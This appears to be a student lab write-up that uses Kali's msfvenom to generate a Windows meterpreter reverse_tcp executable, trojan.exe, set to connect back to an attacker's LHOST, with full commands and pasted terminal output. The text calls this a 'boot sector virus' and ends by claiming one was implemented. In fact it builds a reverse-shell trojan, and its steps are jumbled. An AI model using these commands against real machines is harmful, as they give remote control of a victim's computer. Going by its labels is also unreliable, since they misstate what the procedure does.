

## **IMPLEMENT THE BOOT SECTOR VIRUS**

### **AIM:**

To implement boot sector virus.

### **PROCEDURE:**

#### **Select Root Terminal Emulator**

##### **Step 1: Update and Upgrade Kali Linux**

Open the terminal and type in : **sudo apt-get update**

Next, type in: **sudo apt-get upgrade**

##### **Step 3: Fix any errors**

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to `usr/share/metasploit-framework` by typing in:

```
>> cd /usr/share/metasploit-framework/
```

from the root directory. If you make a mistake, you can type in

```
>> cd ..
```

to go back to the previous directory or type in any directory after `cd` to go there.

3.Now that we are in the `metasploit-framework` directory, type in

```
>> gem install bundler
```

to install bundler, then type in

```
>> bundle install
```

4.If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

```
>> gem install bundler:[version number]
```

and then type in : **gem update --system**

After all of that, everything should work perfectly.

```
>> cd /root
```

to go back to the root directory.

## Step 2: Open exploit software

Open up the terminal and type in : **msfvenom**

## Step 4: Choose our payload

To see a list of payloads : **msfvenom -l payloads**

## Step 5: Customize our payload

**msfvenom --list-options -p windows/meterpreter/reverse\_tcp**

## Step 6: Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

**msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]**

## Example

**msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe**

If we look in our files using ls, we see that our new file pops up.

## OUTPUT:

### 1. msfvenom

```
(kali@kali)~$ msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var-val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
-l, --list           <type>      List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload       <payload>    Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options      List --payload <value>'s standard, advanced and evasion options
-f, --format        <format>     Output format (use --list formats to list)
-e, --encoder       <encoder>    The encoder to use (use --list encoders to list)
--service-name     <value>      The service name to use when generating a service binary
--sec-name         <value>      The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest         Generate the smallest possible payload using all available encoders
--encrypt          <value>      The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key      <value>      A key to be used for --encrypt
--encrypt-iv       <value>      An initialization vector for --encrypt
-a, --arch          <arch>       The architecture to use for --payload and --encoders (use --list archs to list)
--platform        <platform>    The platform for --payload (use --list platforms to list)
-o, --out           <path>       Save the payload to a file
-b, --bad-chars    <list>       Characters to avoid example: '\x00\xff'
-n, --nopsled      <length>     Prepend a nopsled of [length] size on to the payload
--pad-nops         Use nopsled size specified by -n <length> as the total payload size, auto-prepend a nopsled of quantity (nops minus payload length)
-s, --space        <length>     The maximum size of the resulting payload
--encoder-space    <length>     The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations  <count>      The number of times to encode the payload
-c, --add-code     <path>       Specify an additional win32 shellcode file to include
-x, --template    <path>       Specify a custom executable file to use as a template
-k, --keep         Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name     <value>      Specify a custom variable name to use for certain output formats
-t, --timeout      <seconds>    The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help         Show this message
```

## 2. msfvenom -l payloads

```
~H, ==Netp Show this message
(kali@kali)-[~]
$ msfvenom -l payloads

Framework Payloads (951 total) [--payload <value>]

Name Description
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter/reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter/reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter/reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/exec Execute an arbitrary command
bsd/x64/shell_bind_ipv6_tcp Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell
bsd/x86/exec Execute an arbitrary command
bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6
bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6
bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6
```

```

(uncorrupted) import table. PE files with CLR(C#/NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resou
rce loading might crash. . Connect back to the attacker (Windows x64)
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting fro
m the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid
(uncorrupted) import table. PE files with CLR(C#/NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resou
rce loading might crash. . Connect back to the attacker
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(uncorrupted) import table. PE files with CLR(C#/NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resou
rce loading might crash. . Connect back to the attacker with UUID Support (Windows x64)
Connect back to attacker and report UUID (Windows x64)
Listen for a connection and spawn an interactive powershell session
Listen for a connection and spawn an interactive powershell session over SSL
Listen for a connection and spawn an interactive powershell session over SSL
Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
Listen for a connection and spawn a command shell (Windows x64)
Connect back to attacker and spawn a command shell (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)
```

### 3. msfvenom --list-options -p windows/meterpreter/reverse\_tcp

```
(kali@kali)-[~]
$ msfvenom --list-options -p windows/meterpreter/reverse_tcp
Error: Invalid option
Msfvenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
  -l, --list           <type>      List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
  -p, --payload        <payload>   Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
  --list-options       <list-options> List --payload <value>'s standard, advanced and evasion options
  -f, --format         <format>    Output format (use --list formats to list)
  -e, --encoder        <encoder>   The encoder to use (use --list encoders to list)
  --service-name       <value>    The service name to use when generating a service binary
  --sec-name          <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
  --smallest           <value>    Generate the smallest possible payload using all available encoders
  --encrypt            <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
  --encrypt-key       <value>    A key to be used for --encrypt
  --encrypt-iv        <value>    An initialization vector for --encrypt
  -a, --arch           <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
  --platform          <platform>  The platform for --payload (use --list platforms to list)
  -o, --out            <path>     Save the payload to a file
  -b, --bad-chars      <list>     Characters to avoid example: '\x00\xff'
  -n, --nopsled        <length>   Prepend a nopsled of [length] size on to the payload
  --pad-nops           <length>   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
  -s, --space          <length>   The maximum size of the resulting payload
  --encoder-space      <length>   The maximum size of the encoded payload (defaults to the -s value)
  -i, --iterations    <count>    The number of times to encode the payload
  -c, --add-code       <path>    Specify an additional win32 shellcode file to include
  -x, --template       <path>    Specify a custom executable file to use as a template
  -k, --keep           <path>    Preserve the --template behaviour and inject the payload as a new thread
  -v, --var-name       <value>   Specify a custom variable name to use for certain output formats
  -t, --timeout        <second>  The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
  -h, --help           <second>  Show this message
```

### 4. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

```
(kali@kali)-[~]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

## RESULT:

Thus the implementation of boot sector virus executed successfully.